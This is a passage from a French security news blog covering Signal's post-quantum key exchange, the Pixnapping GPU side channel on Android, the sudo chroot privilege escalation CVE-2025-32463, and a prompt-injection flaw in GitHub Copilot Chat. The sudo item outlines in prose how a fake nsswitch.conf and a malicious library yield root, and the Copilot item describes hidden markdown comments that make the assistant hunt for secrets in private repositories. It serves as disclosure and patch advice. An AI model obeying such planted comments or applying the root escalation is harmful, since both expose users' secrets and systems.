L’astuce géniale, c’est qu’ils utilisent des “erasure codes”. C’est un peu comme les codes de correction d’erreur sur les CD, mais pour reconstituer des clés cryptographiques manquantes. Hé oui parce que sur un réseau merdique (ou surveillé par un vilain méchant gouvernement), des paquets se perdent. Du coup, avec les erasure codes, même si vous loupez quelques messages, vous pouvez quand même reconstituer les clés.

Et pour régler le problème de la taille des clés (vous vous souvenez, l’explosion de la bande passante ?), ils ont parallélisé les échanges de clés comme ça au lieu d’envoyer une grosse clé à chaque message, ils en envoient plusieurs petites en parallèle, réparties sur plusieurs messages. Ainsi, l’impact sur la bande passante reste raisonnable.

Voilà, donc pour résumer Signal a réussi à ajouter une protection post-quantique complète, en maintenant la forward secrecy et la post-compromise security, tout en gérant les environnements asynchrones (quand les gens sont offline), les réseaux pourris et les adversaires actifs. Tout ça avec un impact minimal sur les perfs ! C’est beau non ?

Et le plus beau dans tout ça c’est que pour nous, les utilisateurs rien ne change ! Toute cette complexité technique est totalement invisible. D’ailleurs les entreprises françaises feraient bien de se mettre sur le sujet car le temps passe vite. L’ANSSI a même tiré la sonnette d’alarme et fixé des échéances précises pour que les entreprises se bougent. Les secteurs les plus à risque (banques, santé, infrastructures critiques…) sont en première ligne. En plus quand on sait que les cybercriminels (et la NSA et compagnie) stockent déjà des données chiffrées pour les déchiffrer plus tard avec des ordinateurs quantiques, l’excuse du “on verra plus tard” ne tient plus vraiment la route.

Signal a ouvert totalement son code et publié ses algos et autres formules donc chaque entreprise qui le souhaite peut aller s’en inspirer. Pour une ONG c’est impressionnant ce qu’ils ont réussi là et ça prouve encore une fois qu’en matière de sécurité, il n’y a pas de fatalité.

Juste des choix.

Source

Il y a des bugs qu’on corrige en urgence. Et puis il y a GPU.zip, cette faille que TOUS les fabricants de GPU connaissent depuis mars 2023 et que personne n’a jamais voulu fixer.

Et 2 ans et demi plus tard, des chercheurs viennent de prouver qu’elle permettait de voler nos codes 2FA sous Android en moins de 30 secondes !!

Et devinez quoi ?

Y’a toujours pas de patch !

L’histoire commence donc en septembre 2023. Des chercheurs de l’Université du Texas, Carnegie Mellon, et l’Université de Washington publient GPU.zip , une attaque par canal auxiliaire qui exploite la compression graphique hardware des GPU. Le principe c’est qu’en mesurant le temps de rendu de certaines opérations graphiques, on peut déduire la couleur des pixels affichés à l’écran. Pixel par pixel. Un peu comme prendre une capture d’écran, mais sans permission, bien sûr !

Tous les fabricants de GPU sont donc prévenu dès mars 2023. AMD, Apple, Arm, Intel, Nvidia, Qualcomm. Mais aucun patch n’a pointé le bout de son nez. La position officielle des fabricants de GPU étant que “C’est au software de gérer ça”.

Les navigateurs web colmatent alors la brèche en limitant les iframes cross-origin, mais la faille hardware elle-même n’est jamais corrigée. Trop coûteux. Trop compliqué. Pas leur problème…

Maintenant on fait avance rapide en octobre 2025. Une équipe de 7 chercheurs (UC Berkeley, Carnegie Mellon, Université de Washington) sort Pixnapping , une attaque qui ressuscite GPU.zip sur Android. Le papier sera d’ailleurs présenté à la 32nd ACM Conference on Computer and Communications Security qui a lieue cette semaine à Taipei. Alan Linghao Wang, Ricardo Paccagnella et leurs collègues on réalisé une démo où on voit une application Android malveillante voler des codes 2FA, des messages privés, ou n’importe quelle donnée affichée à l’écran, sans demander la moindre permission système.

La commande sudo que tous les linuxiens connaissent a plus de 40 ans, tout autant d’années d’audits de sécurité, des millions de lignes de code scrutées par des milliers de développeurs au fil des ans et surtout des dizaines de CVE critiques corrigées.

Et pourtant on est jamais à l’abri d’une mauvaise surprise ! En effet, une fonctionnalité ajoutée récemment pour “améliorer” la sécurité a crée un trou béant. Baptisée CVE-2025-32463, cette une faille critique présente dans sudo est même déjà exploitée par des cybercriminels.

Alors qu’est ce qui se passe exactement ? Hé bien en 2023, les développeurs de sudo ajoutent une amélioration dans la version 1.9.14. L’option --chroot (qui permet d’isoler une commande dans une “prison” système) est améliorée pour mieux gérer le “command matching”. Ça part d’une bonne intention, comme toujours mais cela a débouché sur l’une des pires CVE de l’année.

Rich Mirch de Stratascale découvre alors le problème en juin 2025. Ainsi, quand sudo fait un chroot dans un répertoire contrôlé par l’utilisateur, il demande ensuite “qui es-tu ?” via NSS (Name Service Switch, le système qui résout les infos utilisateurs). Sauf que NSS lit ses fichiers de config… dans le chroot. Votre chroot, celui que vous contrôlez. Gloups !

Il suffit alors de placer un faux /etc/nsswitch.conf et une bibliothèque partagée malveillante dans votre répertoire. Sudo fait son petit chroot dedans, charge votre lib pour vérifier qui vous êtes… et hop votre code s’exécute en root. Ainsi, n’importe quel utilisateur local, sans droits sudo préexistants, peut devenir root. C’est con hein ?

C’est tout con à exploiter ! Et le score de cette faille est critique puisqu’on est sur un CVSS de 9.3 / 10. Et comme les PoC (proof of concept) sont disponibles sur Github dans plein de versions différentes (genre celle là ou celle là ), c’est la fête à l’exploitation sauvage !!

Le 29 septembre dernier, la CISA a même ajouté la CVE-2025-32463 au catalogue KEV (Known Exploited Vulnerabilities), ce qui confirme son exploitation dans la nature. Les agences fédérales américaines ont donc jusqu’au 20 octobre 2025 pour patcher.

Donc oui, c’est du sérieux.

Notez que le patch est disponible depuis le 30 juin 2025 . Sudo 1.9.17p1 corrige donc ce problème et la fonctionnalité --chroot est maintenant marquée comme “dépréciée”. Les développeurs ont compris que cette idée était bancale dès le départ.

Donc si vous êtes admin système et que vous n’avez pas encore mis à jour, c’est le moment, les amis !! Les versions vulnérables vont de sudo 1.9.14 à 1.9.17. Les versions antérieures (avant 1.9.14) ne sont pas touchées, car la fonctionnalité n’existait pas. Et les plus récentes (1.9.17p1+) sont patchées. Ouf !

Comme quoi, même le code le plus vénéré par les barbus peut se foirer sur une nouveauté. En tout cas, bien joué à Rich Mirch pour avoir trouvé ça ! Et sincèrement désolé pour les devs qui ont validé ce commit foireux en 2023, qui ont dû s’en vouloir un peu quand même ^^.

Source

Y’a plein de problèmes avec les IA, mais y’en a un encore un peu trop sous-estimé par les vibe codeurs que vous êtes… Ce problème, c’est qu’on leur fait confiance comme à un collègue, on leur montre notre code, nos repos privés, nos petits secrets bien planqués dans les variables d’environnement…

Par exemple, quand vous passez en revue une pull request sur GitHub, vous faites quoi ? Vous lisez le code ligne par ligne, vous cherchez les bugs, les failles de sécu, les optimisations possibles. Mais les commentaires vous les lisez ? Au mieux on les survole, c’est vrai, car c’est de la comm’ entre devs, et pas du code exécutable.

Sauf pour Copilot Chat pour qui un commentaire c’est un texte comme un autre. Et selon Omer Mayraz , chercheur en sécurité chez Legit Security, c’est exactement ce qui en fait une zone de confiance aveugle parfaite pour une attaque.

Ce qu’a découvert Omer Mayraz c’est donc une vulnérabilité critique dans GitHub Copilot Chat avec un score CVSS de 9.6 sur 10. Cela consiste à planquer des instructions malveillantes dans des commentaires markdown invisibles comme ça, ces commentaires ne s’affichent pas dans l’interface web de GitHub, mais Copilot Chat les voit parfaitement et les traite comme des prompts légitimes.

Du coup, l’attaquant peut forcer Copilot à chercher des secrets dans vos repos privés, à extraire du code source confidentiel, voire à dénicher des descriptions de vulnérabilités zero-day non publiées. Tout ça sans que vous ne voyiez rien venir évidemment !

Voici une démo complète de l’attaque en vidéo :

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/camoleak-github-copilot-vulnerability-prompt-injection/camoleak-github-copilot-vulnerability-prompt-injection-1.mp4">lien vers la vidéo</a>.